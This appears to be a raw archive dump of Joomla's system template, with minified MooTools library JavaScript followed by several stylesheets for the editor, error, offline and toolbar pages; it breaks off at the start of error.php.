!Browser.Platform.ios){var e=this.getBoundingClientRect(),f=document.id(this.getDocument().documentElement),g=f.getScroll(),i=this.getScrolls(),j=h(this,"position")=="fixed";return{x:e.left.toInt()+i.x+(j?0:g.x)-f.clientLeft,y:e.top.toInt()+i.y+(j?0:g.y)-f.clientTop}}e=this;f={x:0,y:0};if(d(this))return f;for(;e&&!d(e);){f.x=f.x+e.offsetLeft;f.y=f.y+e.offsetTop;if(Browser.firefox){if(!b(e)){f.x=f.x+c(e);f.y=f.y+a(e)}if((g=e.parentNode)&&h(g,"overflow")!="visible"){f.x=f.x+c(g);f.y=f.y+a(g)}}else if(e!=
this&&Browser.safari){f.x=f.x+c(e);f.y=f.y+a(e)}e=e.offsetParent}if(Browser.firefox&&!b(this)){f.x=f.x-c(this);f.y=f.y-a(this)}return f},getPosition:function(b){var d=this.getOffsets(),e=this.getScrolls(),d={x:d.x-e.x,y:d.y-e.y};if(b&&(b=document.id(b))){e=b.getPosition();return{x:d.x-e.x-c(b),y:d.y-e.y-a(b)}}return d},getCoordinates:function(a){if(d(this))return this.getWindow().getCoordinates();var a=this.getPosition(a),b=this.getSize(),a={left:a.x,top:a.y,width:b.x,height:b.y};a.right=a.left+a.width;
a.bottom=a.top+a.height;return a},computePosition:function(a){return{left:a.x-(h(this,"margin-left").toInt()||0),top:a.y-(h(this,"margin-top").toInt()||0)}},setPosition:function(a){return this.setStyles(this.computePosition(a))}});[Document,Window].invoke("implement",{getSize:function(){var a=e(this);return{x:a.clientWidth,y:a.clientHeight}},getScroll:function(){var a=this.getWindow(),b=e(this);return{x:a.pageXOffset||b.scrollLeft,y:a.pageYOffset||b.scrollTop}},getScrollSize:function(){var a=e(this),
b=this.getSize(),c=this.getDocument().body;return{x:Math.max(a.scrollWidth,c.scrollWidth,b.x),y:Math.max(a.scrollHeight,c.scrollHeight,b.y)}},getPosition:function(){return{x:0,y:0}},getCoordinates:function(){var a=this.getSize();return{top:0,left:0,bottom:a.y,right:a.x,height:a.y,width:a.x}}});var h=Element.getComputedStyle})();Element.alias({position:"setPosition"});
[Window,Document,Element].invoke("implement",{getHeight:function(){return this.getSize().y},getWidth:function(){return this.getSize().x},getScrollTop:function(){return this.getScroll().y},getScrollLeft:function(){return this.getScroll().x},getScrollHeight:function(){return this.getScrollSize().y},getScrollWidth:function(){return this.getScrollSize().x},getTop:function(){return this.getPosition().y},getLeft:function(){return this.getPosition().x}});
(function(){var b=this.Fx=new Class({Implements:[Chain,Events,Options],options:{fps:60,unit:false,duration:500,frames:null,frameSkip:true,link:"ignore"},initialize:function(a){this.subject=this.subject||this;this.setOptions(a)},getTransition:function(){return function(a){return-(Math.cos(Math.PI*a)-1)/2}},step:function(a){if(this.options.frameSkip){var b=(this.time!=null?a-this.time:0)/this.frameInterval;this.time=a;this.frame=this.frame+b}else this.frame++;if(this.frame<this.frames)this.set(this.compute(this.from,
this.to,this.transition(this.frame/this.frames)));else{this.frame=this.frames;this.set(this.compute(this.from,this.to,1));this.stop()}},set:function(a){return a},compute:function(a,c,d){return b.compute(a,c,d)},check:function(){if(!this.isRunning())return true;switch(this.options.link){case "cancel":this.cancel();return true;case "chain":this.chain(this.caller.pass(arguments,this))}return false},start:function(a,c){if(!this.check(a,c))return this;this.from=a;this.to=c;this.frame=this.options.frameSkip?
0:-1;this.time=null;this.transition=this.getTransition();var d=this.options.frames,f=this.options.fps,h=this.options.duration;this.duration=b.Durations[h]||h.toInt();this.frameInterval=1E3/f;this.frames=d||Math.round(this.duration/this.frameInterval);this.fireEvent("start",this.subject);e.call(this,f);return this},stop:function(){if(this.isRunning()){this.time=null;f.call(this,this.options.fps);if(this.frames==this.frame){this.fireEvent("complete",this.subject);this.callChain()||this.fireEvent("chainComplete",
this.subject)}else this.fireEvent("stop",this.subject)}return this},cancel:function(){if(this.isRunning()){this.time=null;f.call(this,this.options.fps);this.frame=this.frames;this.fireEvent("cancel",this.subject).clearChain()}return this},pause:function(){if(this.isRunning()){this.time=null;f.call(this,this.options.fps)}return this},resume:function(){this.frame<this.frames&&!this.isRunning()&&e.call(this,this.options.fps);return this},isRunning:function(){var b=a[this.options.fps];return b&&b.contains(this)}});
b.compute=function(a,b,c){return(b-a)*c+a};b.Durations={"short":250,normal:500,"long":1E3};var a={},c={},d=function(){for(var a=Date.now(),b=this.length;b--;){var c=this[b];c&&c.step(a)}},e=function(b){var e=a[b]||(a[b]=[]);e.push(this);c[b]||(c[b]=d.periodical(Math.round(1E3/b),e))},f=function(b){var d=a[b];if(d){d.erase(this);if(!d.length&&c[b]){delete a[b];c[b]=clearInterval(c[b])}}}})();
Fx.CSS=new Class({Extends:Fx,prepare:function(b,a,c){var c=Array.from(c),d=c[0],c=c[1];if(c==null){var c=d,d=b.getStyle(a),e=this.options.unit;if(e&&d.slice(-e.length)!=e&&parseFloat(d)!=0){b.setStyle(a,c+e);var f=b.getComputedStyle(a);if(!/px$/.test(f)){f=b.style[("pixel-"+a).camelCase()];if(f==null){var g=b.style.left;b.style.left=c+e;f=b.style.pixelLeft;b.style.left=g}}d=(c||1)/(parseFloat(f)||1)*(parseFloat(d)||0);b.setStyle(a,d+e)}}return{from:this.parse(d),to:this.parse(c)}},parse:function(b){b=
Function.from(b)();b=typeof b=="string"?b.split(" "):Array.from(b);return b.map(function(a){var a=""+a,b=false;Object.each(Fx.CSS.Parsers,function(d){if(!b){var e=d.parse(a);if(e||e===0)b={value:e,parser:d}}});return b=b||{value:a,parser:Fx.CSS.Parsers.String}})},compute:function(b,a,c){var d=[];Math.min(b.length,a.length).times(function(e){d.push({value:b[e].parser.compute(b[e].value,a[e].value,c),parser:b[e].parser})});d.$family=Function.from("fx:css:value");return d},serve:function(b,a){typeOf(b)!=
"fx:css:value"&&(b=this.parse(b));var c=[];b.each(function(b){c=c.concat(b.parser.serve(b.value,a))});return c},render:function(b,a,c,d){b.setStyle(a,this.serve(c,d))},search:function(b){if(Fx.CSS.Cache[b])return Fx.CSS.Cache[b];var a={},c=RegExp("^"+b.escapeRegExp()+"$");Array.each(document.styleSheets,function(b){var e=b.href;if(!e||!e.contains("://")||e.contains(document.domain))Array.each(b.rules||b.cssRules,function(b){if(b.style){var d=b.selectorText?b.selectorText.replace(/^\w+/,function(a){return a.toLowerCase()}):
null;d&&c.test(d)&&Object.each(Element.Styles,function(c,d){if(b.style[d]&&!Element.ShortStyles[d]){c=""+b.style[d];a[d]=/^rgb/.test(c)?c.rgbToHex():c}})}})});return Fx.CSS.Cache[b]=a}});Fx.CSS.Cache={};
Fx.CSS.Parsers={Color:{parse:function(b){return b.match(/^#[0-9a-f]{3,6}$/i)?b.hexToRgb(true):(b=b.match(/(\d+),\s*(\d+),\s*(\d+)/))?[b[1],b[2],b[3]]:false},compute:function(b,a,c){return b.map(function(d,e){return Math.round(Fx.compute(b[e],a[e],c))})},serve:function(b){return b.map(Number)}},Number:{parse:parseFloat,compute:Fx.compute,serve:function(b,a){return a?b+a:b}},String:{parse:Function.from(!1),compute:function(b,a){return a},serve:function(b){return b}}};
Fx.Tween=new Class({Extends:Fx.CSS,initialize:function(b,a){this.element=this.subject=document.id(b);this.parent(a)},set:function(b,a){if(arguments.length==1){a=b;b=this.property||this.options.property}this.render(this.element,b,a,this.options.unit);return this},start:function(b,a,c){if(!this.check(b,a,c))return this;var d=Array.flatten(arguments);this.property=this.options.property||d.shift();d=this.prepare(this.element,this.property,d);return this.parent(d.from,d.to)}});
Element.Properties.tween={set:function(b){this.get("tween").cancel().setOptions(b);return this},get:function(){var b=this.retrieve("tween");if(!b){b=new Fx.Tween(this,{link:"cancel"});this.store("tween",b)}return b}};
Element.implement({tween:function(b,a,c){this.get("tween").start(b,a,c);return this},fade:function(b){var a=this.get("tween"),c,d=["opacity"].append(arguments),e;d[1]==null&&(d[1]="toggle");switch(d[1]){case "in":c="start";d[1]=1;break;case "out":c="start";d[1]=0;break;case "show":c="set";d[1]=1;break;case "hide":c="set";d[1]=0;break;case "toggle":e=this.retrieve("fade:flag",this.getStyle("opacity")==1);c="start";d[1]=e?0:1;this.store("fade:flag",!e);e=true;break;default:c="start"}e||this.eliminate("fade:flag");
a[c].apply(a,d);d=d[d.length-1];c=="set"||d!=0?this.setStyle("visibility",d==0?"hidden":"visible"):a.chain(function(){this.element.setStyle("visibility","hidden");this.callChain()});return this},highlight:function(b,a){if(!a){a=this.retrieve("highlight:original",this.getStyle("background-color"));a=a=="transparent"?"#fff":a}var c=this.get("tween");c.start("background-color",b||"#ffff88",a).chain(function(){this.setStyle("background-color",this.retrieve("highlight:original"));c.callChain()}.bind(this));
return this}});
Fx.Morph=new Class({Extends:Fx.CSS,initialize:function(b,a){this.element=this.subject=document.id(b);this.parent(a)},set:function(b){typeof b=="string"&&(b=this.search(b));for(var a in b)this.render(this.element,a,b[a],this.options.unit);return this},compute:function(b,a,c){var d={},e;for(e in b)d[e]=this.parent(b[e],a[e],c);return d},start:function(b){if(!this.check(b))return this;typeof b=="string"&&(b=this.search(b));var a={},c={},d;for(d in b){var e=this.prepare(this.element,d,b[d]);a[d]=e.from;
c[d]=e.to}return this.parent(a,c)}});Element.Properties.morph={set:function(b){this.get("morph").cancel().setOptions(b);return this},get:function(){var b=this.retrieve("morph");if(!b){b=new Fx.Morph(this,{link:"cancel"});this.store("morph",b)}return b}};Element.implement({morph:function(b){this.get("morph").start(b);return this}});
Fx.implement({getTransition:function(){var b=this.options.transition||Fx.Transitions.Sine.easeInOut;if(typeof b=="string"){var a=b.split(":"),b=Fx.Transitions,b=b[a[0]]||b[a[0].capitalize()];a[1]&&(b=b["ease"+a[1].capitalize()+(a[2]?a[2].capitalize():"")])}return b}});Fx.Transition=function(b,a){var a=Array.from(a),c=function(c){return b(c,a)};return Object.append(c,{easeIn:c,easeOut:function(c){return 1-b(1-c,a)},easeInOut:function(c){return(c<=0.5?b(2*c,a):2-b(2*(1-c),a))/2}})};Fx.Transitions={linear:function(b){return b}};
Fx.Transitions.extend=function(b){for(var a in b)Fx.Transitions[a]=new Fx.Transition(b[a])};
Fx.Transitions.extend({Pow:function(b,a){return Math.pow(b,a&&a[0]||6)},Expo:function(b){return Math.pow(2,8*(b-1))},Circ:function(b){return 1-Math.sin(Math.acos(b))},Sine:function(b){return 1-Math.cos(b*Math.PI/2)},Back:function(b,a){a=a&&a[0]||1.618;return Math.pow(b,2)*((a+1)*b-a)},Bounce:function(b){for(var a,c=0,d=1;;c=c+d,d=d/2)if(b>=(7-4*c)/11){a=d*d-Math.pow((11-6*c-11*b)/4,2);break}return a},Elastic:function(b,a){return Math.pow(2,10*--b)*Math.cos(20*b*Math.PI*(a&&a[0]||1)/3)}});
["Quad","Cubic","Quart","Quint"].each(function(b,a){Fx.Transitions[b]=new Fx.Transition(function(b){return Math.pow(b,a+2)})});
(function(){var b=function(){},a="onprogress"in new Browser.Request,c=this.Request=new Class({Implements:[Chain,Events,Options],options:{url:"",data:"",headers:{"X-Requested-With":"XMLHttpRequest",Accept:"text/javascript, text/html, application/xml, text/xml, */*"},async:true,format:false,method:"post",link:"ignore",isSuccess:null,emulation:true,urlEncoded:true,encoding:"utf-8",evalScripts:false,evalResponse:false,timeout:0,noCache:false},initialize:function(a){this.xhr=new Browser.Request;this.setOptions(a);
this.headers=this.options.headers},onStateChange:function(){var c=this.xhr;if(c.readyState==4&&this.running){this.running=false;this.status=0;Function.attempt(function(){var a=c.status;this.status=a==1223?204:a}.bind(this));c.onreadystatechange=b;if(a)c.onprogress=c.onloadstart=b;clearTimeout(this.timer);this.response={text:this.xhr.responseText||"",xml:this.xhr.responseXML};this.options.isSuccess.call(this,this.status)?this.success(this.response.text,this.response.xml):this.failure()}},isSuccess:function(){var a=
this.status;return a>=200&&a<300},isRunning:function(){return!!this.running},processScripts:function(a){return this.options.evalResponse||/(ecma|java)script/.test(this.getHeader("Content-type"))?Browser.exec(a):a.stripScripts(this.options.evalScripts)},success:function(a,b){this.onSuccess(this.processScripts(a),b)},onSuccess:function(){this.fireEvent("complete",arguments).fireEvent("success",arguments).callChain()},failure:function(){this.onFailure()},onFailure:function(){this.fireEvent("complete").fireEvent("failure",
this.xhr)},loadstart:function(a){this.fireEvent("loadstart",[a,this.xhr])},progress:function(a){this.fireEvent("progress",[a,this.xhr])},timeout:function(){this.fireEvent("timeout",this.xhr)},setHeader:function(a,b){this.headers[a]=b;return this},getHeader:function(a){return Function.attempt(function(){return this.xhr.getResponseHeader(a)}.bind(this))},check:function(){if(!this.running)return true;switch(this.options.link){case "cancel":this.cancel();return true;case "chain":this.chain(this.caller.pass(arguments,
this))}return false},send:function(b){if(!this.check(b))return this;this.options.isSuccess=this.options.isSuccess||this.isSuccess;this.running=true;var c=typeOf(b);if(c=="string"||c=="element")b={data:b};var c=this.options,b=Object.append({data:c.data,url:c.url,method:c.method},b),c=b.data,d=""+b.url,b=b.method.toLowerCase();switch(typeOf(c)){case "element":c=document.id(c).toQueryString();break;case "object":case "hash":c=Object.toQueryString(c)}if(this.options.format)var i="format="+this.options.format,
c=c?i+"&"+c:i;if(this.options.emulation&&!["get","post"].contains(b)){b="_method="+b;c=c?b+"&"+c:b;b="post"}this.options.urlEncoded&&["post","put"].contains(b)&&(this.headers["Content-type"]="application/x-www-form-urlencoded"+(this.options.encoding?"; charset="+this.options.encoding:""));if(!d)d=document.location.pathname;i=d.lastIndexOf("/");if(i>-1&&(i=d.indexOf("#"))>-1)d=d.substr(0,i);this.options.noCache&&(d=d+((d.contains("?")?"&":"?")+String.uniqueID()));if(c&&b=="get"){d=d+((d.contains("?")?
"&":"?")+c);c=null}var j=this.xhr;if(a){j.onloadstart=this.loadstart.bind(this);j.onprogress=this.progress.bind(this)}j.open(b.toUpperCase(),d,this.options.async,this.options.user,this.options.password);if(this.options.user&&"withCredentials"in j)j.withCredentials=true;j.onreadystatechange=this.onStateChange.bind(this);Object.each(this.headers,function(a,b){try{j.setRequestHeader(b,a)}catch(c){this.fireEvent("exception",[b,a])}},this);this.fireEvent("request");j.send(c);if(this.options.async){if(this.options.timeout)this.timer=
this.timeout.delay(this.options.timeout,this)}else this.onStateChange();return this},cancel:function(){if(!this.running)return this;this.running=false;var c=this.xhr;c.abort();clearTimeout(this.timer);c.onreadystatechange=b;if(a)c.onprogress=c.onloadstart=b;this.xhr=new Browser.Request;this.fireEvent("cancel");return this}}),d={};["get","post","put","delete","GET","POST","PUT","DELETE"].each(function(a){d[a]=function(b){var c={method:a};if(b!=null)c.data=b;return this.send(c)}});c.implement(d);Element.Properties.send=
{set:function(a){this.get("send").cancel().setOptions(a);return this},get:function(){var a=this.retrieve("send");if(!a){a=new c({data:this,link:"cancel",method:this.get("method")||"post",url:this.get("action")});this.store("send",a)}return a}};Element.implement({send:function(a){var b=this.get("send");b.send({data:this,url:a||b.options.url});return this}})})();
Request.HTML=new Class({Extends:Request,options:{update:!1,append:!1,evalScripts:!0,filter:!1,headers:{Accept:"text/html, application/xml, text/xml, */*"}},success:function(b){var a=this.options,c=this.response;c.html=b.stripScripts(function(a){c.javascript=a});if(b=c.html.match(/<body[^>]*>([\s\S]*?)<\/body>/i))c.html=b[1];b=(new Element("div")).set("html",c.html);c.tree=b.childNodes;c.elements=b.getElements(a.filter||"*");if(a.filter)c.tree=c.elements;if(a.update){b=document.id(a.update).empty();
a.filter?b.adopt(c.elements):b.set("html",c.html)}else if(a.append){var d=document.id(a.append);a.filter?c.elements.reverse().inject(d):d.adopt(b.getChildren())}a.evalScripts&&Browser.exec(c.javascript);this.onSuccess(c.tree,c.elements,c.html,c.javascript)}});Element.Properties.load={set:function(b){this.get("load").cancel().setOptions(b);return this},get:function(){var b=this.retrieve("load");if(!b){b=new Request.HTML({data:this,link:"cancel",update:this,method:"get"});this.store("load",b)}return b}};
Element.implement({load:function(){this.get("load").send(Array.link(arguments,{data:Type.isObject,url:Type.isString}));return this}});"undefined"==typeof JSON&&(this.JSON={});
(function(){var b={"\u0008":"\\b","\t":"\\t","\n":"\\n","\u000c":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},a=function(a){return b[a]||"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)};JSON.validate=function(a){a=a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"");return/^[\],:{}\s]*$/.test(a)};JSON.encode=JSON.stringify?function(a){return JSON.stringify(a)}:function(b){b&&b.toJSON&&
(b=b.toJSON());switch(typeOf(b)){case "string":return'"'+b.replace(/[\x00-\x1f\\"]/g,a)+'"';case "array":return"["+b.map(JSON.encode).clean()+"]";case "object":case "hash":var d=[];Object.each(b,function(a,b){var c=JSON.encode(a);c&&d.push(JSON.encode(b)+":"+c)});return"{"+d+"}";case "number":case "boolean":return""+b;case "null":return"null"}return null};JSON.decode=function(a,b){if(!a||typeOf(a)!="string")return null;if(b||JSON.secure){if(JSON.parse)return JSON.parse(a);if(!JSON.validate(a))throw Error("JSON could not decode the input; security is enabled and the value is not secure.");
}return eval("("+a+")")}})();Request.JSON=new Class({Extends:Request,options:{secure:!0},initialize:function(b){this.parent(b);Object.append(this.headers,{Accept:"application/json","X-Request":"JSON"})},success:function(b){var a;try{a=this.response.json=JSON.decode(b,this.options.secure)}catch(c){this.fireEvent("error",[b,c]);return}if(a==null)this.onFailure();else this.onSuccess(a,b)}});
var Cookie=new Class({Implements:Options,options:{path:"/",domain:!1,duration:!1,secure:!1,document:document,encode:!0},initialize:function(b,a){this.key=b;this.setOptions(a)},write:function(b){this.options.encode&&(b=encodeURIComponent(b));this.options.domain&&(b=b+("; domain="+this.options.domain));this.options.path&&(b=b+("; path="+this.options.path));if(this.options.duration){var a=new Date;a.setTime(a.getTime()+this.options.duration*864E5);b=b+("; expires="+a.toGMTString())}this.options.secure&&
(b=b+"; secure");this.options.document.cookie=this.key+"="+b;return this},read:function(){var b=this.options.document.cookie.match("(?:^|;)\\s*"+this.key.escapeRegExp()+"=([^;]*)");return b?decodeURIComponent(b[1]):null},dispose:function(){(new Cookie(this.key,Object.merge({},this.options,{duration:-1}))).write("");return this}});Cookie.write=function(b,a,c){return(new Cookie(b,c)).write(a)};Cookie.read=function(b){return(new Cookie(b)).read()};Cookie.dispose=function(b,a){return(new Cookie(b,a)).dispose()};
(function(b,a){var c,d,e=[],f,g,i=a.createElement("div"),j=function(){clearTimeout(g);if(!c){Browser.loaded=c=true;a.removeListener("DOMContentLoaded",j).removeListener("readystatechange",m);a.fireEvent("domready");b.fireEvent("domready")}},m=function(){for(var a=e.length;a--;)if(e[a]()){j();return true}return false},h=function(){clearTimeout(g);m()||(g=setTimeout(h,10))};a.addListener("DOMContentLoaded",j);var k=function(){try{i.doScroll();return true}catch(a){}return false};if(i.doScroll&&!k()){e.push(k);
f=true}a.readyState&&e.push(function(){var b=a.readyState;return b=="loaded"||b=="complete"});"onreadystatechange"in a?a.addListener("readystatechange",m):f=true;f&&h();Element.Events.domready={onAdd:function(a){c&&a.call(this)}};Element.Events.load={base:"load",onAdd:function(a){d&&this==b&&a.call(this)},condition:function(){if(this==b){j();delete Element.Events.load}return true}};b.addEvent("load",function(){d=true})})(window,document);
(function(){var b=this.Swiff=new Class({Implements:Options,options:{id:null,height:1,width:1,container:null,properties:{},params:{quality:"high",allowScriptAccess:"always",wMode:"window",swLiveConnect:true},callBacks:{},vars:{}},toElement:function(){return this.object},initialize:function(a,c){this.instance="Swiff_"+String.uniqueID();this.setOptions(c);var c=this.options,d=this.id=c.id||this.instance,e=document.id(c.container);b.CallBacks[this.instance]={};var f=c.params,g=c.vars,i=c.callBacks,j=
Object.append({height:c.height,width:c.width},c.properties),m=this,h;for(h in i){b.CallBacks[this.instance][h]=function(a){return function(){return a.apply(m.object,arguments)}}(i[h]);g[h]="Swiff.CallBacks."+this.instance+"."+h}f.flashVars=Object.toQueryString(g);if(Browser.ie){j.classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000";f.movie=a}else j.type="application/x-shockwave-flash";j.data=a;var d='<object id="'+d+'"',k;for(k in j)d=d+(" "+k+'="'+j[k]+'"');var d=d+">",o;for(o in f)f[o]&&(d=d+('<param name="'+
o+'" value="'+f[o]+'" />'));this.object=(e?e.empty():new Element("div")).set("html",d+"</object>").firstChild},replaces:function(a){a=document.id(a,true);a.parentNode.replaceChild(this.toElement(),a);return this},inject:function(a){document.id(a,true).appendChild(this.toElement());return this},remote:function(){return b.remote.apply(b,[this.toElement()].append(arguments))}});b.CallBacks={};b.remote=function(a,b){var d=a.CallFunction('<invoke name="'+b+'" returntype="javascript">'+__flash__argumentsToXML(arguments,
2)+"</invoke>");return eval(d)}})();PK!Q\ʼ��css/editor.cssnu&1i�/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

body {
	background: #fff;
	font-family: Tahoma, Helvetica, Arial, sans-serif;
	line-height: 1.3em;
	font-size: 76%;
	color: #333;
}

h1 {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 16px;
	font-weight: bold;
	color: #666;
}

h2 {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 14px;
	font-weight: normal;
	color: #333;
}

h3 {
  font-weight: bold;
  font-family: Arial, Helvetica, sans-serif;
  font-size: 13px;
  color: #135cae;
}

h4 {
	font-weight: bold;
	font-family: Arial, Helvetica, sans-serif;
	color: #333;
}

a:link, a:visited {
	color: #1B57B1; 
	text-decoration: none;
	font-weight: normal;
}

a:hover {
	color: #00c;	
	text-decoration: underline;
	font-weight: normal;
}

div.caption       { padding: 0 10px 0 10px; }
div.caption img   { border: 1px solid #CCC; }
div.caption p     { font-size: .90em; color: #666; text-align: center; }

/* STYLES FOR JOOMLA! EDITOR */
hr#system-readmore  { border: red dashed 1px; color: red; }
hr.system-pagebreak { border: gray dashed 1px; color: gray; }
PK!A��HHcss/error_rtl.cssnu&1i�/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* Start Common Styles */

body {
	text-align: right;
}

.TD{
	text-align: left;
}

#errorboxbody {
	text-align: right;
}
#techinfo {
	text-align: right;
}
PK!��$$css/offline_rtl.cssnu&1i�/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

 /**
 * Joomla! 1.5 Offline RTL css file
 *
 * @package				Joomla
 * @since				1.5
 * @version				1.0
 */

#frame form{ text-align: right; }
label { float:right; }
fieldset.input p {clear: right;}

/* -- message styles ----------------------------------- */
.alert {
	padding: 8px 8px 25px 14px;
	text-align: right;
}
.alert .close {
	float: left;
	left: -20px;
	right: 0px;
}PK!y�:��
css/error.cssnu&1i�/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* Start Common Styles */
* {
	font-family: helvetica, arial, sans-serif;
	font-size: 11px;
	color: #5F6565;
}

html {
	height: 100%;
	margin-bottom: 1px;
}

body {
	margin: 0px;
	padding: 0px;
	height: 100%;
	margin-bottom: 1px;
	background: #FFFFFF;
	font-family: helvetica, arial, sans-serif;
	font-weight: normal;
	padding-top: 0px;
	margin-top: 0px;
}

.error {
	margin-left: auto;
	margin-right: auto;
}

table, td, th, div, pre, blockquote, ul, ol, dl, address,.componentheading,.contentheading,.contentpagetitle,.sectiontableheader,.newsfeedheading {
	font-family: helvetica, arial, sans-serif;
	font-weight: normal;
}

#outline {
	width: 900px;
	margin: 0 auto;
	padding: 0px;
	padding-top: 60px;
	padding-bottom: 60px;
	background: #FFFFFF;
}
#errorboxoutline {
	width: 900px;
	margin: 0px;
	padding: 0px;
	border: 1px solid #000000;
}
#errorboxheader {
	width: 900px;
	margin: 0px;
	padding: 0px;
	background: #E44249;
	color: #FFFFFF;
	font-weight: bold;
	font-size: 12px;
	line-height: 22px;
	text-align: center;
	border-bottom: 1px solid #000000;
}
#errorboxbody {
	margin: 0px;
	padding: 10px;
	text-align: left;
}
#techinfo {
	margin: 10px;
	padding: 10px;
	text-align: left;
	border: 1px solid #CCCCCC;
	color: #CCCCCC;
}
#techinfo p {
	color: #CCCCCC;
}PK!Eq�
``css/toolbar.cssnu&1i�/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

div.toolbar-list {
	margin-right: 10px;
	float: right;
	text-align: right;
}

div.toolbar-list a {
	color : #808080;
	text-decoration : none;
	display: block;
	float: left;
	border: 1px solid #DDD;
	width: 40px;
	padding: 2px 5px 2px 5px;
}
div.toolbar-list a:hover {
	color : #C64934;
	cursor: pointer;
	border: 1px solid #c24733;
	background-color: #f1e8e6;
	padding: 3px 5px 1px 5px;
}
div.toolbar-list a:active {
	color : #FF9900;
}PK!������css/offline.cssnu&1i�/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

body {
	margin: 0; padding: 0;
	font-family: Arial, Helvetica, Sans Serif; font-size: 14px;
	color: #333333;
	text-align: center;
}

img  {
	border: 0 none;
	margin-left: auto;
	margin-right: auto;
}

/* -- id styles ------------------------------------- */

#frame {
	margin: 20px auto;
	max-width: 400px;
	padding: 20px;
}

#frame img {
	max-width: 100%;
	height: auto;
}

#frame form {
	text-align: left;
}

/* -- class styles ---------------------------------- */

.outline {
	border: 1px solid #cccccc;
	background: #ffffff;
	padding: 2px;
}

/* -- form styles ----------------------------------- */

form {
	margin: auto;
}

form br {
	display: none;
}

form p {
	margin: 0;
	padding: 0.5em 0 0.5em 0;
}

form fieldset {
	border: 0 none;
	margin: 0em;
	padding: 0.2em;
}

label {
	display: block;
	margin: 5px 0 2px 0;
}

input {
	box-sizing: border-box;
	width: 100%;
	padding: 5px 10px;
	border: 1px solid #0E67A1;
	font-size: inherit;
	font-family: inherit;
}

input.button {
	width: auto;
	cursor: pointer;
	background-color: #006dcc;
	border-color: #04c;
	color: #fff;
	-webkit-appearance: none;
}

input.button:hover {
	background-color: #04c;
}

fieldset.input p {
	clear: left;
}

#frmlogin {
	margin: 0 10px 0 10px;
}

#frmlogin fieldset.button {
	text-align: right;
}

/* -- message styles ----------------------------------- */

#system-message {
	margin: 0 auto;
	padding: 20px 0 0;
	max-width: 445px;
}

.alert {
	background: none repeat scroll 0 0 #FFFFFF;
	border: 1px solid #CCCCCC;
	padding: 8px 25px 8px 14px;
	text-align: left;
}

.alert h4 {
	color: red;
	margin: 5px 0;
}

.alert p {
	padding: 0px;
	margin: 0px;
}

.alert .close {
	float: right;
	font-size: 24px;
	line-height: 18px;
	position: relative;
	right: -20px;
	top: -2px;
	cursor: pointer;
}
.login {
	margin-top: 5px;
}
PK!��
�
css/general.cssnu&1i�/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* Form validation */
.invalid { border-color: #ff0000; }
label.invalid { color: #ff0000; }

/* Buttons */
#editor-xtd-buttons {
	padding: 5px;
}

.button2-left,
.button2-right,
.button2-left div,
.button2-right div {
	float: left;
}

.button2-left a,
.button2-right a,
.button2-left span,
.button2-right span {
	display: block;
	height: 22px;
	float: left;
	line-height: 22px;
	font-size: 11px;
	color: #666;
	cursor: pointer;
}

.button2-left span,
.button2-right span {
	cursor: default;
	color: #999;
}

.button2-left .page a,
.button2-right .page a,
.button2-left .page span,
.button2-right .page span {
	padding: 0 6px;
}

.page span {
	color: #000;
	font-weight: bold;
}

.button2-left a:hover,
.button2-right a:hover {
	text-decoration: none;
	color: #0B55C4;
}

.button2-left a,
.button2-left span {
	padding: 0 24px 0 6px;
}

.button2-right a,
.button2-right span {
	padding: 0 6px 0 24px;
}

.button2-left {
	background: url(../images/j_button2_left.png) no-repeat;
	float: left;
	margin-left: 5px;
}

.button2-right {
	background: url(../images/j_button2_right.png) 100% 0 no-repeat;
	float: left;
	margin-left: 5px;
}

.button2-left .image {
	background: url(../images/j_button2_image.png) 100% 0 no-repeat;
}

.button2-left .readmore,
.button2-left .article {
	background: url(../images/j_button2_readmore.png) 100% 0 no-repeat;
}

.button2-left .pagebreak {
	background: url(../images/j_button2_pagebreak.png) 100% 0 no-repeat;
}

.button2-left .blank {
	background: url(../images/j_button2_blank.png) 100% 0 no-repeat;
}

/* Tooltips */
div.tooltip {
	float: left;
	background: #ffc;
	border: 1px solid #D4D5AA;
	padding: 5px;
	max-width: 200px;
	z-index:13000;
}

div.tooltip h4 {
	padding: 0;
	margin: 0;
	font-size: 95%;
	font-weight: bold;
	margin-top: -15px;
	padding-top: 15px;
	padding-bottom: 5px;
	background: url(../images/selector-arrow.png) no-repeat;
}

div.tooltip p {
	font-size: 90%;
	margin: 0;
}

/* Caption fixes */
/* Caption fixes */
.img_caption .left {
        float: left;
        margin-right: 1em;
}

.img_caption .right {
        float: right;
        margin-left: 1em;
}

.img_caption .left p {
        clear: left;
        text-align: center;
}

.img_caption .right p {
        clear: right;
        text-align: center;
}

.img_caption  {
	text-align: center!important;
}

.img_caption.none {
	margin-left:auto;
	margin-right:auto;
}


/* Calendar */
a img.calendar {
	width: 16px;
	height: 16px;
	margin-left: 3px;
	background: url(../images/calendar.png) no-repeat;
	cursor: pointer;
	vertical-align: middle;
}
PK!g(�i��	error.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Template.system
 *
